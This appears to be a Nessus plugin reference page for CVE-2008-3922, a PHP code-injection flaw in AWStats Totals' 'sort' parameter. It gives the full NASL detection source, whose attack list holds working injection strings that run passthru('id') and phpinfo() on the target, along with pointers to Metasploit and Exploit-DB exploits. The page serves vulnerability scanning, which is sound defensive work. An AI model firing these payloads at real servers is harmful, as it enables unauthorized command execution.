AWStats Totals awstatstotals.php multisort() Function sort Parameter Arbitrary PHP Code Execution - Nessus

High   Plugin ID: 34055

This page contains detailed information about the AWStats Totals awstatstotals.php multisort() Function sort Parameter Arbitrary PHP Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 34055
Name: AWStats Totals awstatstotals.php multisort() Function sort Parameter Arbitrary PHP Code Execution
Filename: awstatstotals_sort_remote_exec.nasl
Vulnerability Published: N/A
This Plugin Published: 2008-08-27
Last Modification Time: 2022-04-11
Plugin Version: 1.21
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl
Excluded KB Items [?]: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: N/A
Patch Published: N/A
CVE [?]: CVE-2008-3922
CPE [?]: N/A

Synopsis

The remote web server contains a PHP script that is prone to arbitrary code execution.

Description

The remote web server is running a version of awstatstotals.php which does not properly sanitize its 'sort' argument. An attacker can run arbitrary commands on the remote host within the context of the web server.

Solution

Upgrade to Telartis AWStats Totals 1.15

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the AWStats Totals awstatstotals.php multisort() Function sort Parameter Arbitrary PHP Code Execution vulnerability:

  1. Metasploit: exploit/unix/webapp/awstatstotals_multisort
    [AWStats Totals multisort Remote Command Execution]
  2. Exploit-DB: exploits/php/webapps/17324.rb
    [EDB-17324: AWStats Totals 1.14 multisort - Remote Command Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the awstatstotals_sort_remote_exec.nasl nessus plugin source code. This script is Copyright (C) 2008-2022 Tenable Network Security, Inc.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(34055);
  script_version("1.21");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2008-3922");
  script_bugtraq_id(30856);
  script_xref(name:"EDB-ID", value:"17324");

  script_name(english:"AWStats Totals awstatstotals.php multisort() Function sort Parameter Arbitrary PHP Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is prone to arbitrary
code execution.");
  script_set_attribute(attribute:"description", value:
"The remote web server is running a version of awstatstotals.php which
does not properly sanitize its 'sort' argument. An attacker can run
arbitrary commands on the remote host within the context of the web
server.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/[email protected]");
  script_set_attribute(attribute:"see_also", value:"https://www.telartis.nl/en/awstats");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Telartis AWStats Totals 1.15");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Awstats Totals <= 1.14 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'AWStats Totals multisort Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_cwe_id(94);

  script_set_attribute(attribute:"plugin_publication_date", value:"2008/08/27");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2022 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

if (get_kb_item("Settings/disable_cgi_scanning")) exit(0);

port = get_http_port(default: 80);

if (thorough_tests)
  dirs = get_kb_list(string("www/", port, "/content/directories"));
if (isnull(dirs)) dirs = make_list("", "/stat", "/awstatstotals");
dirs = list_uniq(make_list(dirs, cgi_dirs()));
report = "";

attacks = make_list(
'/awstatstotals.php?sort="].passthru(\'id\').exit().%24a["',
'/awstatstotals.php?sort={%24{passthru(chr(105).chr(100))}}{%24{exit()}}',
'/awstatstotals.php?sort="].phpinfo().exit().%24a["',
'/awstatstotals.php?sort={%24{phpinfo()}}{%24{exit()}}' );

foreach d (dirs)
{
 foreach a (attacks)
 {
  u = strcat(d, a);
  w = http_send_recv3(method:"GET",item: u, port: port);
  if (isnull(w))
   if (report)
    break;
   else
    exit(0);
  r = w[2];
  if ("phpinfo" >< a)
  {
   if (
     "<title>phpinfo()</title>" >< r && 
     "HTTP_HOST" >< r &&
     "SERVER_PORT" >< r &&
     egrep(string: r, pattern: "X-Powered-By.*PHP/[1-9]\.") &&
     egrep(pattern:"\>PHP Version (.+)\<", string:w[2])
   )
   {
    report = strcat(report, '\n', build_url(port: port, qs: u), '\nran the phpinfo() function command successfully.\n');
    break;
   }
  }
  else
  {
   if (egrep(string: r, pattern: "^uid=[0-9]+.* gid=[0-9]+"))
   {
    report = strcat(report, '\n', build_url(port: port, qs: u), '\nran the id command successfully and produced the following output:\n', chomp(r), '\n');
    break;
   }
  }
 }
 if (report && ! thorough_tests) break;
}

if (report) security_hole(port: port, extra: report);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/awstatstotals_sort_remote_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\awstatstotals_sort_remote_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/awstatstotals_sort_remote_exec.nasl

Go back to menu.

How to Run


Here is how to run the AWStats Totals awstatstotals.php multisort() Function sort Parameter Arbitrary PHP Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select AWStats Totals awstatstotals.php multisort() Function sort Parameter Arbitrary PHP Code Execution plugin ID 34055.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl awstatstotals_sort_remote_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a awstatstotals_sort_remote_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - awstatstotals_sort_remote_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state awstatstotals_sort_remote_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: CWE | Common Weakness Enumeration:
  • CWE-94 (Weakness) Improper Control of Generation of Code ('Code Injection')
See also: Similar and related Nessus plugins:
  • 16189 - AWStats awstats.pl configdir Parameter Arbitrary Command Execution
  • 21328 - AWStats migrate Parameter Arbitrary Command Execution
  • 22600 - Debian DSA-1058-1 : awstats - missing input sanitising
  • 18840 - FreeBSD : awstats -- remote command execution vulnerability (0f5a2b4d-694b-11d9-a9e7-0001020eed82)
  • 16427 - GLSA-200501-36 : AWStats: Remote code execution
  • 21667 - GLSA-200606-06 : AWStats: Remote execution of arbitrary code
  • 27163 - openSUSE 10 Security Update : awstats (awstats-1612)
  • 21588 - Ubuntu 5.04 / 5.10 : awstats vulnerability (USN-285-1)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file awstatstotals_sort_remote_exec.nasl version 1.21. For more plugins, visit the Nessus Plugin Library.

Go back to menu.